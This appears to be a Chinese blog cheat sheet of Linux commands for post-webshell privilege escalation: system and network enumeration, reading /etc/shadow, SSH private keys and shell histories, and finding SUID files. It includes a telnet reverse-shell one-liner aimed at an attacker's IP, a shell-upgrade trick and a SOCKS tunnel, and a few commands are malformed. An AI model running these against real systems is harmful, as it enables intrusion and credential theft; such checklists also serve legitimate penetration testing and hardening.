渗透常见linux命令
在拿到一个 webshell 之后,大家首先会想到去把自己的权限提升到最高,windows 我们会提升到 SYSTEM 权限,而 Linux 我们会提升到 root 权限,拿在进行 Linux 提权的时候我们要进行哪些操作呢?需要了解哪些信息?使用什么样的命令?这些就是本文的重点。
关于Linux权限提升,有下面几个步骤:
信息收集:尽量收集更多的关于系统的信息。
数据分析:通过把收集到的数据以及信息进行分析,提取其中对我们提升权限有用的信息备用。
搜索:要知道我们需要搜索什么以及去哪里找对应的 exp 。
对症下药:修改我们搜索到的 exp ,针对不同的系统不同的情况做针对性的修改。
尝试:万事俱备,只欠东风,最后一步就是验收结果的时候了,有没有用在此一搏。
操作系统信息收集
如何查看服务器的版本?
cat /etc/issue
cat /etc/*-release
cat /etc/lsb-release # 基于 Debian
cat /etc/redhat-release # 基于 Redhat
如何查看内核的版本信息?
cat /proc/version
uname -a
uname -mrs
rpm -q kernel
dmesg | grep Linux
ls /boot | grep vmlinuz-
环境变量里的信息如何查看?
cat /etc/profile
cat /etc/bashrc
cat ~/.bash_profile
cat ~/.bashrc
cat ~/.bash_logout
env
set
是否有打印机?
lpstat -a
应用和服务信息
有什么服务在运行?是以什么样的权限在运行?
ps aux
ps -ef
top
cat /etc/services
关注一下以 root 权限运行的服务,有可能对我们提权有帮助。
ps aux | grep root
ps -ef | grep root
安装了哪些应用?版本是啥?当前是否在运行?
ls -alh /usr/bin/
ls -alh /sbin/
dpkg -l
rpm -qa
ls -alh /var/cache/apt/archivesO
ls -alh /var/cache/yum/
常见的配置文件有哪些?有没有可被攻击的插件安装?
cat /etc/syslog.conf
cat /etc/chttp.conf
cat /etc/lighttpd.conf
cat /etc/cups/cupsd.conf
cat /etc/inetd.conf
cat /etc/apache2/apache2.conf
cat /etc/my.conf
cat /etc/httpd/conf/httpd.conf
cat /opt/lampp/etc/httpd.conf
ls -aRl /etc/ | awk '$1 ~ /^.r./
有什么工作任务计划?
crontab -l
ls -alh /var/spool/cron
ls -al /etc/ | grep cron
ls -al /etc/cron*
cat /etc/cron*
cat /etc/at.allow
cat /etc/at.deny
cat /etc/cron.allow
cat /etc/cron.deny
cat /etc/crontab
cat /etc/anacrontab
cat /var/spool/cron/crontabs/root
如何查找系统内跟用户名和密码相关的文件?
grep -i user [filename]
grep -i pass [filename]
grep -C 5 "password" [filename]
find . -name "*.php" -print0 | xargs -0 grep -i -n "var $password" # Joomla
网络通讯相关
系统内是否存在NIC?是否连接这其他网络?
/sbin/ifconfig -a
cat /etc/network/interfaces
cat /etc/sysconfig/network
网络配置信息在哪?
cat /etc/resolv.conf
cat /etc/sysconfig/network
cat /etc/networks
iptables -L
hostname
dnsdomainname
与哪些主机在通讯?
lsof -i
lsof -i :80
grep 80 /etc/services
netstat -antup
netstat -antpx
netstat -tulpn
chkconfig --list
chkconfig --list | grep 3:on
last
w
有哪些关于 IP 和 MAC 地址的缓存?
arp -e
route
/sbin/route -nee
如何抓取流量?怎么看?
tcpdump tcp dst 192.168.1.7 80 and tcp dst 10.5.5.252 21
注意:tcpdump tcp dst [ip] [port] and tcp dst [ip] [port]
如何得到一个 shell 连接?你可以与系统交互吗?
nc -lvp 4444 # 在攻击者的 PC 上执行
nc -lvp 4445 # 在受害者的 PC 上执行
telnet [atackers ip] 4444 | /bin/sh | telnet [local ip] 4445 # 在受害者的 PC 上执行
其他姿势参见:linux下反弹shell的姿势
如何进行端口转发?
参考文章:穿越边界的姿势
其他姿势请自行探索
如何使用隧道执行命令?
ssh -D 127.0.0.1:9050 -N [username]@[ip]
proxychains ifconfig
跟用户相关的信息
我是谁?谁登入了?谁登入过?等
id
who
w
last
cat /etc/passwd | cut -d: -f1 # 列出用户
grep -v -E "^#" /etc/passwd | awk -F: '$3 == 0 { print $1}' # 列出超级用户
awk -F: '($3 == "0") {print}' /etc/passwd # 列出超级用户
cat /etc/sudoers
sudo -l
有哪些敏感文件?
cat /etc/passwd
cat /etc/group
cat /etc/shadow
ls -alh /var/mail/
根目录如果可以访问,有哪些有趣的东西?
ls -ahlR /root/
ls -ahlR /home/
可能存在密码的文件?
cat /var/apache2/config.inc
cat /var/lib/mysql/mysql/user.MYD
cat /root/anaconda-ks.cfg
用户做了什么?
cat ~/.bash_history
cat ~/.nano_history
cat ~/.atftp_history
cat ~/.mysql_history
cat ~/.php_history
有关用户的信息在哪?
cat ~/.bashrc
cat ~/.profile
cat /var/mail/root
cat /var/spool/mail/root
私钥在什么地方?
cat ~/.ssh/authorized_keys
cat ~/.ssh/identity.pub
cat ~/.ssh/identity
cat ~/.ssh/id_rsa.pub
cat ~/.ssh/id_rsa
cat ~/.ssh/id_dsa.pub
cat ~/.ssh/id_dsa
cat /etc/ssh/ssh_config
cat /etc/ssh/sshd_config
cat /etc/ssh/ssh_host_dsa_key.pub
cat /etc/ssh/ssh_host_dsa_key
cat /etc/ssh/ssh_host_rsa_key.pub
cat /etc/ssh/ssh_host_rsa_key
cat /etc/ssh/ssh_host_key.pub
cat /etc/ssh/ssh_host_key
文件系统
/etc/ 下有哪些文件可写,哪些服务可以被重新配置?
ls -aRl /etc/ | awk '$1 ~ /^.w./' 2>/dev/null # Anyone
ls -aRl /etc/ | awk '$1 ~ /^..w/' 2>/dev/null # Owner
ls -aRl /etc/ | awk '$1 ~ /^.....w/' 2>/dev/null # Group
ls -aRl /etc/ | awk '/' 2>/dev/null # Other
find /etc/ -readable -type f 2>/dev/null # Anyone
find /etc/ -readable -type f -maxdepth 1 2>/dev/null # Anyone
在 /var/ 下我们能发现什么?
ls -alh /var/log
ls -alh /var/mail
ls -alh /var/spool
ls -alh /var/spool/lpd
ls -alh /var/lib/pgsql
ls -alh /var/lib/mysql
cat /var/lib/dhcp3/dhclient.leases
在网站的目录下有没有隐藏文件?
ls -alhR /var/www/
ls -alhR /srv/www/htdocs/
ls -alhR /usr/local/www/apache22/data/
ls -alhR /opt/lampp/htdocs/
ls -alhR /var/www/html/
有哪些日志文件?
cat /etc/httpd/logs/access_log
cat /etc/httpd/logs/access.log
cat /etc/httpd/logs/error_log
cat /etc/httpd/logs/error.log
cat /var/log/apache2/access_log
cat /var/log/apache2/access.log
cat /var/log/apache2/error_log
cat /var/log/apache2/error.log
cat /var/log/apache/access_log
cat /var/log/apache/access.log
cat /var/log/auth.log
cat /var/log/chttp.log
cat /var/log/cups/error_log
cat /var/log/dpkg.log
cat /var/log/faillog
cat /var/log/httpd/access_log
cat /var/log/httpd/access.log
cat /var/log/httpd/error_log
cat /var/log/httpd/error.log
cat /var/log/lastlog
cat /var/log/lighttpd/access.log
cat /var/log/lighttpd/error.log
cat /var/log/lighttpd/lighttpd.access.log
cat /var/log/lighttpd/lighttpd.error.log
cat /var/log/messages
cat /var/log/secure
cat /var/log/syslog
cat /var/log/wtmp
cat /var/log/xferlog
cat /var/log/yum.log
cat /var/run/utmp
cat /var/webmin/miniserv.log
cat /var/www/logs/access_log
cat /var/www/logs/access.log
ls -alh /var/lib/dhcp3/
ls -alh /var/log/postgresql/
ls -alh /var/log/proftpd/
ls -alh /var/log/samba/
值得注意的: auth.log, boot, btmp, daemon.log, debug, dmesg, kern.log, mail.info, mail.log, mail.warn, messages, syslog, udev, wtmp
如果命令执行被监视怎么办?
python -c 'import pty;pty.spawn("/bin/bash")'
echo os.system('/bin/bash')
/bin/sh -i
文件系统如何安装?
mount
df -h
是否有未安装的文件系统?
cat /etc/fstab
有哪些 “ 高级的 Linux 文件权限 ” 在使用?
find / -perm -1000 -type d 2>/dev/null # Sticky bit - 只有目录的所有者或文件的所有者才能删除或重命名。
find / -perm -g=s -type f 2>/dev/null # SGID (chmod 2000) - 作为组运行,而不是启动它的用户。
find / -perm -u=s -type f 2>/dev/null # SUID (chmod 4000) - 作为所有者运行,而不是启动它的用户。
find / -perm -g=s -o -perm -u=s -type f 2>/dev/null # SGID or SUID
for i in
locate -r "bin$"
; do find $i ( -perm -4000 -o -perm -2000 ) -type f 2>/dev/null; done # 查找常见位置中用于 SGID 或 SUID 的文件find / -perm -g=s -o -perm -4000 ! -type l -maxdepth 3 -exec ls -ld {} ; 2>/dev/null # 从根开始查找所有的 SUID 不包括符号链接,并且只搜索三层
如何查找可写可执行的目录?
find / -writable -type d 2>/dev/null # 可写目录
find / -perm -222 -type d 2>/dev/null # 可写目录
find / -perm -o w -type d 2>/dev/null # 可写目录
find / -perm -o x -type d 2>/dev/null # 可执行目录
find / ( -perm -o w -perm -o x ) -type d 2>/dev/null
如何查找可能存在问题的文件?
find / -xdev -type d ( -perm -0002 -a ! -perm -1000 ) -print # 可写的文件
find /dir -xdev ( -nouser -o -nogroup ) -print # 没有归属的文件
寻找可利用的漏洞
安装支持哪些工具和语言?
find / -name perl*
find / -name python*
find / -name gcc*
find / -name cc
能够用于上传的软件有那些?
find / -name wget
find / -name nc*
find / -name netcat*
find / -name tftp*
find / -name ftp
查找 exploit 的网站?
http://metasploit.com/modules/
有关漏洞的更多信息?
http://packetstormsecurity.org/files/cve/[CVE]
应急措施
针对以上提到的所有命令,执行收集一下信息,看能否找到可以利用的点,然后针对可利用的点进行升级或者使用一些安全产品来做防护,使用如下命令进行升级:
apt-get update && apt-get upgrade
yum update
一些运行权限的问题?比如 mysql 是否是用 root 权限运行的?
渗透常见linux命令的更多相关文章
- 常见linux命令释义(第八天)—— Bash Shell 的操作环境
换了新公司,公司的领导很不错.自己感受比较多的地方是,自己的工作效率明显比以前高了.以前会对频繁变动的需求十分不耐烦,现在接到需求后会仔细的思考,进行整体构建.即使以后需求有变动,也能够比较轻易的在原 ...
- 常见Linux命令的介绍
今天看到了一些Linux命令的英文全称,于是,就总结上来.通过理解英文全称,去更好的理解与记忆Linux命令. 1.ls——List 列举出当前工作目录的内容(文件或文件夹),就跟你在GUI中打开一个 ...
- 常见linux命令释义(第一天)
快到中午吃饭了,然后忽然想起来samba里面没有添加用户.于是乎,就玩弄起了samba. Samba三下五除二就安装好了,想想window里面不断的点击下一步,还要小心提防各种隐藏再角落里的绑定软件. ...
- Linux入门培训教程 常见linux命令释义
快到中午吃饭了,然后忽然想起来samba里面没有添加用户.于是乎,就玩弄起了samba. Samba三下五除二就安装好了,想想window里面不断的点击下一步,还要小心提防各种隐藏再角落里的绑定软件. ...
- 常见Linux命令学习
Linux命令学习 命令分类: 文件处理命令 权限管理命令 文件搜索命令 帮助命令 用户管理命令 压缩解压命令 网络命令 关机重启命令 1.文件处理命令 命令格式:命令 [-选项] [参数] 例:ls ...
- 常见linux命令释义(第七天)——ulimit 与变量内容的删除替代与替换。
linux是一个多用户多任务的系统,不同于windows的单人多任务操作系统.再linux上,在同一个时间点上,可以有多个人同时执行多个任务. 那么假若有10个用户,同时打开了100个100M的文件. ...
- 常见linux命令释义(第六天)——shell环境变量
太懒了,这几天好像得了懒癌,一点都不想写博客.后来想想,知识嘛,还是分享出来的好.第一治自己的懒癌:第二顺便巩固下自己的知识. Linux的变量分为两种,一种是系统变量,是系统一经启动,就写进内存中的 ...
- 常见linux命令释义(第五天)——shell变量学习
由于时间有限,我写这篇博客的时间上限为30分钟.仅作为学习笔记而用,内容会尽量的讲清楚.如果讲的不清楚,你来打我啊! 玩笑开过,正式开始今天的学习. linux系统的中一些命令是在/bin下,这个是一 ...
- 常见linux命令释义(第四天)——bash部分
学linux的时候,我跳过了一些很重要的东西.比如分区.还有vim的深入学习.分区没有学习是因为我装的是虚拟机,不知道是什么原因,格式化分区不能正常显示.至于vim,简单的增删改查我已经了解了.能够顺 ...
随机推荐
- ABP进阶教程8 - 自定义按钮
点这里进入ABP进阶教程目录 在功能按钮区增加一个自定义按钮 - Add(创建课程) 添加按钮 打开展示层(即JD.CRS.Web.Mvc)的\wwwroot\view-resources\Views ...
- 使用maven-compiler-plugin以及maven-shade-plugin完成maven项目打包
最近负责一个纯maven项目(项目需求尽量轻量化),需要自己完成打包工作. 因此,基于maven-compiler-plugin以及maven-shade-plugin完成项目的打包工作. 其中: m ...
- Saltstack_使用指南08_远程执行-返回程序
1. 主机规划 salt 版本 [root@salt100 ~]# salt --version salt (Oxygen) [root@salt100 ~]# salt-minion --versi ...
- mssql的text字段中文乱码
问题: 1.在页面存入中文后乱码,从前端从后台发现数据未发生异常,发现是存入数据库后乱码: 经查询该字段为text字段,存入中文会乱码 如图 解决办法: 1.将text转为varchar或nvarch ...
- Mysql—常见查询命令
查询mysql的日志 -- 查找错误日志文件路径 mysql> show variables like "log_error"; -- 查找通用日志文件路径 mysql> ...
- 联邦学习 Federated Learning 相关资料整理
本文链接:https://blog.csdn.net/Sinsa110/article/details/90697728代码微众银行+杨强教授团队的联邦学习FATE框架代码:https://githu ...
- 密度峰值聚类算法(DPC)
密度峰值聚类算法(DPC) 凯鲁嘎吉 - 博客园 http://www.cnblogs.com/kailugaji/ 1. 简介 基于密度峰值的聚类算法全称为基于快速搜索和发现密度峰值的聚类算法(cl ...
- springboot中的照片上传工具类
public class UploadImgUtils { private static String savePath = ""; /** * 上传照片工具类 * * @para ...
- Apache(基于IP地址)
1.Apache的安装 (1)先用命令“cat /etc/passwd|grep apache”,查看有有没有Apache ①如果有Apache,我们就不用再安装 ②如果没有,我们就安装一下 (2)使 ...
- GitHub 注册失败的原因 以及解决 。
1.注册的时候老是卡在第一步: 提交用户名和密码 还有邮箱的时候 提交成功后. 不跳出 第二步.若现在去登录账号和密码,不管输对的还是输错的都是显示错误的.2.查看GitHub官网帮助后,不难发现问题 ...